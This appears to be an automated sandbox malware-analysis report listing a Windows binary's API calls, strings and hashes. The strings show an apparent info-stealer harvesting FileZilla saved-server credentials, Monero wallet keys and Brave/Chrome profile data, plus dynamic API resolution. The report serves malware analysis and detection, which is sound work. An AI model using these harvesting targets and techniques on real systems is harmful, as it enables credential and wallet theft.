lstrcat.KERNEL32(?,00000000), ref: 009B0457
lstrcat.KERNEL32(?,009C163C), ref: 009B0466
lstrcat.KERNEL32(?,009C1640), ref: 009B0475
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,009C0D9E), ref: 009B04CE

Strings

password: , xrefs: 009B043B
<Port>, xrefs: 009B0206
url: , xrefs: 009B03B7
login: , xrefs: 009B040A
profile: null, xrefs: 009B03A8
<Host>, xrefs: 009B01BC
browser: FileZilla, xrefs: 009B0399
<Pass encoding="base64">, xrefs: 009B029A
<User>, xrefs: 009B0250
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 009B00E4

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateChangeCloseCreateFindFolderFreeNotificationPathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 2695953057-555421843
Opcode ID: b8e76909c7abd4cdb2104af586c760d825515a1ad1812765a359e7cefef168c3
Instruction ID: 15c9a79474135d7dc836a0789665dfdea19b4e88d386895ed7c17442a4dd36dd
Opcode Fuzzy Hash: b8e76909c7abd4cdb2104af586c760d825515a1ad1812765a359e7cefef168c3
Instruction Fuzzy Hash: 5DD10F75D00108ABCB04EBF4DE96FEE773DAF98714F408418F506A7095EE74AA09CB66

Function 009B9270 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,014814E8), ref: 009B92B1
GetProcAddress.KERNEL32(76210000,01481500), ref: 009B92CA
GetProcAddress.KERNEL32(76210000,01481518), ref: 009B92E2
GetProcAddress.KERNEL32(76210000,01481668), ref: 009B92FA
GetProcAddress.KERNEL32(76210000,01481530), ref: 009B9313
GetProcAddress.KERNEL32(76210000,01489300), ref: 009B932B
GetProcAddress.KERNEL32(76210000,01476280), ref: 009B9343
GetProcAddress.KERNEL32(76210000,014762C0), ref: 009B935C
GetProcAddress.KERNEL32(76210000,01481548), ref: 009B9374
GetProcAddress.KERNEL32(76210000,01481560), ref: 009B938C
GetProcAddress.KERNEL32(76210000,01481578), ref: 009B93A5
GetProcAddress.KERNEL32(76210000,014815A8), ref: 009B93BD
GetProcAddress.KERNEL32(76210000,014761A0), ref: 009B93D5
GetProcAddress.KERNEL32(76210000,014815D8), ref: 009B93EE
GetProcAddress.KERNEL32(76210000,014815F0), ref: 009B9406
GetProcAddress.KERNEL32(76210000,01476300), ref: 009B941E
GetProcAddress.KERNEL32(76210000,01481620), ref: 009B9437
GetProcAddress.KERNEL32(76210000,01481638), ref: 009B944F
GetProcAddress.KERNEL32(76210000,014762E0), ref: 009B9467
GetProcAddress.KERNEL32(76210000,01481890), ref: 009B9480
GetProcAddress.KERNEL32(76210000,01476200), ref: 009B9498
LoadLibraryA.KERNEL32(01481878,?,009B64A0), ref: 009B94AA
LoadLibraryA.KERNEL32(01481848,?,009B64A0), ref: 009B94BB
LoadLibraryA.KERNEL32(01481800,?,009B64A0), ref: 009B94CD
LoadLibraryA.KERNEL32(014818A8,?,009B64A0), ref: 009B94DF
LoadLibraryA.KERNEL32(014817E8,?,009B64A0), ref: 009B94F0
GetProcAddress.KERNEL32(75B30000,01481818), ref: 009B9512
GetProcAddress.KERNEL32(751E0000,01481830), ref: 009B9533
GetProcAddress.KERNEL32(751E0000,01481860), ref: 009B954B
GetProcAddress.KERNEL32(76910000,01489698), ref: 009B956D
GetProcAddress.KERNEL32(75670000,01476100), ref: 009B958E
GetProcAddress.KERNEL32(77310000,01489350), ref: 009B95AF
GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 009B95C6

Strings

NtQueryInformationProcess, xrefs: 009B95BA

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 820c33f2a9874c0e0e07d22dc6acbe9c34cd47737bcb205149f07f7f9ab656ce
Instruction ID: c902d2058539aa932ba3cd75d6cf1afd505e7ef1bc054b4ab40f5480b5c42c49
Opcode Fuzzy Hash: 820c33f2a9874c0e0e07d22dc6acbe9c34cd47737bcb205149f07f7f9ab656ce
Instruction Fuzzy Hash: FAA12FB9610200EFC744DFA8ED98E163FAAB76C741B40852DF50EC3664DF74A846DB64

Function 009A4610 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 009A465E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 009A47EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A4779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A47B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A47AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A4667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A4693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A46B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A46BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A46D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A4712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A4707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A47CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A47C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A4672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A46FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A46C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A4728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A4784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A4688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A46A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009A4763

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 82c0e78e251eaae939c8aaef03ff6b1cd95b1ab110008e8bb8ca6ee9d4c1762b
Instruction ID: 081947a0666d7229f0507e4cb7363dbf84907910772537602452fc488ea27486
Opcode Fuzzy Hash: 82c0e78e251eaae939c8aaef03ff6b1cd95b1ab110008e8bb8ca6ee9d4c1762b
Instruction Fuzzy Hash: 8C414568BC2604EEC77CB7A7986DFDD7A625FC2708F41509EE84A52280CF7079405727

Function 009ABCB0 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

Part of subcall function 009BA2F0: lstrcpy.KERNEL32(00000000,?), ref: 009BA342
Part of subcall function 009BA2F0: lstrcat.KERNEL32(00000000), ref: 009BA352

Part of subcall function 009BA380: lstrlen.KERNEL32(?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009BA395
Part of subcall function 009BA380: lstrcpy.KERNEL32(00000000), ref: 009BA3D4
Part of subcall function 009BA380: lstrcat.KERNEL32(00000000,00000000), ref: 009BA3E2

Part of subcall function 009BA270: lstrcpy.KERNEL32(?,009C0DFF), ref: 009BA2D5

FindFirstFileA.KERNEL32(00000000,?,009C0B17,009C0B16,00000000,?,?,?,009C1398,009C0B0F), ref: 009ABD35
StrCmpCA.SHLWAPI(?,009C139C), ref: 009ABD8D
StrCmpCA.SHLWAPI(?,009C13A0), ref: 009ABDA3
FindNextFileA.KERNEL32(000000FF,?), ref: 009AC5FF
FindClose.KERNEL32(000000FF), ref: 009AC611

Strings

Google Chrome, xrefs: 009AC474
\Brave\Preferences, xrefs: 009AC01B
Preferences, xrefs: 009ABF5E
Brave, xrefs: 009ABF42

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 487cce95f446d286695632031ed8698e6af43bc5ad86366092c9c21d74b3e37b
Instruction ID: a97e1dd9d4c8b679c9ad0dcd4f37cd1125ff29911a0440baa0692264e9671533
Opcode Fuzzy Hash: 487cce95f446d286695632031ed8698e6af43bc5ad86366092c9c21d74b3e37b
Instruction Fuzzy Hash: 35423072904108ABCB54FB74DD96FEE737DABD4310F404568F90A66091EE34AF48CBA2

Function 6CAF35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CB7F688,00001000), ref: 6CAF35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAF35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CAF35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAF363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAF369F
__aulldiv.LIBCMT ref: 6CAF36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CAF3773
EnterCriticalSection.KERNEL32(6CB7F688), ref: 6CAF377E
LeaveCriticalSection.KERNEL32(6CB7F688), ref: 6CAF37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CAF37C4
EnterCriticalSection.KERNEL32(6CB7F688), ref: 6CAF37CB
LeaveCriticalSection.KERNEL32(6CB7F688), ref: 6CAF3801
__aulldiv.LIBCMT ref: 6CAF3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CAF3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CAF3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CAF394C

Strings

GTC, xrefs: 6CAF3912
GenuntelineI, xrefs: 6CAF3639
QPC, xrefs: 6CAF38FC
MOZ_TIMESTAMP_MODE, xrefs: 6CAF35DB
AuthcAMDenti, xrefs: 6CAF3946

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 00cae4dd92088e39cb604f80302a2c7e7c469dfcdf4da45fe02e80352b61506f
Instruction ID: 9e11ccf6a32b149a954c3991e262aa05e6c8a0e89e03d080b3df65b856663e64
Opcode Fuzzy Hash: 00cae4dd92088e39cb604f80302a2c7e7c469dfcdf4da45fe02e80352b61506f
Instruction Fuzzy Hash: 4EB1A071B093609FDB09DF28C85465AB7F5BB8A704F04892EECA9D7750D730D841CBA6

Function 009B43F0 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 009B440C
FindFirstFileA.KERNEL32(?,?), ref: 009B4423
StrCmpCA.SHLWAPI(?,009C0FAC), ref: 009B4451
StrCmpCA.SHLWAPI(?,009C0FB0), ref: 009B4467
FindNextFileA.KERNEL32(000000FF,?), ref: 009B465D
FindClose.KERNEL32(000000FF), ref: 009B4672

Strings

%s\%s, xrefs: 009B4484
%s\*, xrefs: 009B4400
%s\%s, xrefs: 009B44DB

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
